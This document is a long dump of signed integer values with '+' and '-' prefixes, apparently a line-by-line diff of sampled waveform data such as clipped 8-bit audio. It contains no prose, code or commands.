+-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +122 +110 +100 +95 +90 +86 +81 +78 +74 +71 +66 +62 +57 +53 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-99 +-109 +93 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +98 +88 +80 +75 +71 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-102 +-112 +93 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +79 +75 +71 +68 +65 +63 +60 +57 +53 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +96 +86 +78 +74 +71 +68 +65 +63 +60 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +76 +71 +68 +65 +63 +61 +58 +54 +50 +46 +42 +37 +33 +29 +26 +22 +19 +16 +14 +11 +9 +7 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-8 +-8 +-8 +-9 +-10 +-10 +-11 +-12 +-13 +-13 +-103 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-112 +-106 +-99 +-77 +-89 +-69 +-80 +-75 +-72 +-68 +-65 +-61 +-58 +-56 +-54 +-50 +-48 +-46 +-43 +-42 +-40 +-38 +-37 +-36 +-35 +-33 +-31 +-30 +-29 +-28 +-27 +-27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +122 +110 +100 +94 +89 +85 +81 +78 +74 +70 +66 +62 +57 +52 +47 +43 +38 +34 +29 +26 +23 +20 +16 +14 +11 +9 +7 +5 +4 +2 +1 +0 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-9 +-10 +-10 +-11 +-11 +-11 +-12 +-102 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +85 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +110 +96 +86 +79 +74 +69 +67 +64 +63 +60 +56 +53 +50 +46 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-103 +-112 +-104 +-98 +-94 +-73 +-84 +-79 +-75 +-72 +-68 +-64 +-61 +-58 +-55 +-53 +-50 +-48 +-46 +-43 +-42 +-40 +-38 +-38 +-35 +-34 +-34 +-32 +-30 +-29 +-28 +-28 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +110 +100 +94 +90 +86 +81 +78 +74 +71 +66 +62 +56 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-100 +-109 +93 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +76 +71 +68 +65 +63 +61 +57 +54 +51 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-110 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +76 +71 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +96 +86 +78 +74 +72 +68 +65 +63 +60 +58 +54 +50 +45 +41 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-110 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +96 +87 +80 +75 +70 +68 +66 +63 +60 +57 +53 +50 +45 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +70 +68 +64 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +86 +79 +75 +71 +68 +66 +63 +61 +58 +54 +51 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +65 +63 +61 +58 +54 +50 +46 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +96 +87 +80 +75 +70 +68 +65 +63 +60 +57 +53 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +79 +75 +70 +68 +65 +63 +60 +56 +53 +50 +45 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +96 +87 +80 +75 +71 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +96 +87 +79 +75 +71 +68 +65 +63 +60 +58 +54 +51 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +96 +86 +79 +75 +71 +68 +64 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-100 +-110 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +87 +79 +74 +71 +68 +65 +63 +60 +58 +54 +51 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +90 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +70 +68 +65 +63 +60 +57 +54 +50 +46 +42 +38 +34 +30 +26 +22 +19 +16 +13 +11 +8 +7 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-8 +-10 +-10 +-11 +-11 +-12 +-12 +-13 +-13 +-103 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-112 +-105 +-100 +-78 +-89 +-69 +-80 +-76 +-72 +-68 +-64 +-61 +-58 +-55 +-52 +-50 +-47 +-45 +-43 +-41 +-40 +-38 +-37 +-35 +-34 +-33 +-32 +-31 +-29 +-29 +-27 +-27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +110 +100 +94 +90 +85 +81 +78 +74 +70 +66 +62 +57 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-109 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +76 +71 +69 +65 +63 +60 57 53 49 45 -40 -36 -33 -29 -27 -24 -22 -20 -18 -17 -16 -14 -13 -12 -11 -10 -9 -8 -7 -6 -6 -5 -4 -4 -3 -3 -3 -2 -2 --88 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 -98 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -124 -108 -98 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 91 -87 -83 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +98 +88 80 -78 -76 -73 +75 71 +68 66 -63 +64 +60 +58 +54 +50 +46 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-110 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +76 +71 +68 +65 +62 59 56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 --90 --84 --79 --58 --70 +53 +50 +46 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +74 +70 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-110 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +88 +80 +74 +70 +67 +64 +63 +60 +58 +54 +50 +46 +43 +38 +34 +30 +26 +22 +19 +16 +13 +11 +8 +7 +5 +3 +2 +1 +-1 +-1 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-10 +-10 +-11 +-12 +-12 +-13 +-13 +-103 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-103 +-111 +-105 +-99 +-78 +-89 +-68 +-80 +-76 +-72 +-68 -65 --61 --58 --54 +-62 +-59 +-56 +-53 -50 --47 +-49 +-46 -44 --41 +-42 +-40 +-39 -38 -36 +-35 +-33 +-32 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +109 +100 +95 +89 +85 +81 +78 +74 +71 +66 +61 +56 +52 +-49 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-109 +93 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +97 +88 +80 +74 +70 +68 +66 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +96 +86 +79 +75 +70 +68 +64 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-102 +-112 +94 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +79 +74 +70 +67 +64 +63 +59 +57 +54 +50 +46 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +96 +87 +80 +76 +70 +68 +65 +63 +60 +57 +54 +51 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-110 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +86 +80 +75 +71 +69 +65 +63 +60 +57 +54 +50 +45 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +98 +88 +80 +75 +72 +68 +65 +63 +59 +57 +54 +50 +46 +42 +38 +34 +30 +26 +22 +19 +16 +14 +11 +9 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-9 +-9 +-10 +-10 +-11 +-12 +-12 +-13 +-13 +-102 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +85 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +109 +94 +84 +77 +73 +69 +66 +64 +62 +60 +56 +53 +49 +45 +41 +-58 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +-104 +-98 +-94 +-73 +-84 +-79 +-76 +-73 +-68 +-64 +-62 +-58 +-55 +-52 +-50 +-48 +-45 +-43 +-42 +-40 +-38 +-36 +-35 -34 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +110 +100 +95 +90 +86 +81 +78 +74 +70 +65 +62 +56 +52 +-49 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-100 +-110 +93 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +76 +71 +69 +66 +63 +60 +57 +53 +50 +45 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-111 +90 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +65 +64 +60 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-101 +-110 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +96 +87 +79 +75 +71 +68 +65 +63 +60 +57 +53 +50 +45 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +93 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +65 +64 +60 +58 +54 +50 +46 +42 +37 +34 +29 +25 +22 +18 +15 +13 +10 +8 +6 +4 +3 +2 +0 +-1 +-2 +-2 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-10 +-10 +-11 +-12 +-13 +-13 +-14 +-104 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +-106 +-99 +-78 +-89 +-68 +-79 +-75 +-71 +-68 +-64 +-61 +-59 +-56 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-37 +-35 +-34 +-33 +-32 -31 -30 -28 --26 --25 --23 --21 --20 --19 --17 --16 --15 --15 --13 --12 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -123 -114 -108 -102 -100 -96 -92 -88 -84 -80 -76 -71 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --88 --97 -107 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -102 -94 -89 -85 -83 -80 -78 -74 -72 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -111 -101 -94 -89 -84 -82 -79 -77 -74 -71 -68 -65 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --96 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -100 -94 -89 -85 -82 -79 -77 -75 -72 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -112 -102 -94 -89 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --89 --98 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -112 -102 -94 -89 -84 -82 -79 -77 -74 -70 -68 -64 -60 -56 -52 -48 -43 -40 -36 -33 -30 -28 -24 -22 -21 -19 -17 -16 -14 -14 -12 -11 -10 -9 -8 -8 -7 -6 -5 -4 -4 -3 -2 -2 -1 -1 --89 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --89 -102 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -124 -109 -99 -92 -87 -83 -80 -78 -76 -72 -70 -66 -63 -60 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -110 -101 -94 -90 -85 -82 -80 -78 -75 -71 -68 -65 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --89 --98 --90 --85 --80 --60 --70 --65 --61 --57 --53 --50 --47 --44 --41 --39 --36 --34 --32 --29 -27 -26 --24 --23 --22 --20 --19 --17 --17 --15 --14 --13 --12 --11 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -124 -114 -108 -103 -100 -96 -92 -87 -84 -80 -76 -71 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --86 --97 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 109 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -83 -80 -78 -75 -72 -68 -65 -61 -57 --41 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --89 --97 -104 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 100 94 89 -84 -82 -79 -78 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -110 -101 -93 -89 -85 -82 -80 -77 -74 -72 -68 -64 -60 -56 -52 -48 -44 -40 -36 -33 -30 -27 -25 -22 -21 -20 -18 -16 -15 -14 -13 -12 -10 -9 -8 -8 -7 -6 -5 -4 -2 -1 -1 -1 -0 -1 --88 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 --90 --84 --63 --74 --53 --65 --61 --58 --54 --51 --48 --45 --42 --39 --37 --35 --32 --30 --28 --26 --24 --23 --21 --20 --19 --18 --17 --15 --15 --14 --13 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -134 -124 -114 -108 -104 -100 -95 -92 -88 -84 -80 -75 -70 -66 --35 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --86 --95 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -112 -102 -94 -89 -85 -82 -80 -77 -74 -71 -68 -65 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 86 -83 -80 -77 +81 +78 74 +70 +66 +62 +56 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-100 +-110 +94 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +88 +80 +75 71 68 +66 64 60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -110 -101 -94 -90 -85 -82 -79 -77 -74 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-101 +-112 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +96 +86 +78 +75 71 -67 -64 +68 +65 +63 +60 +58 +54 +50 +46 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 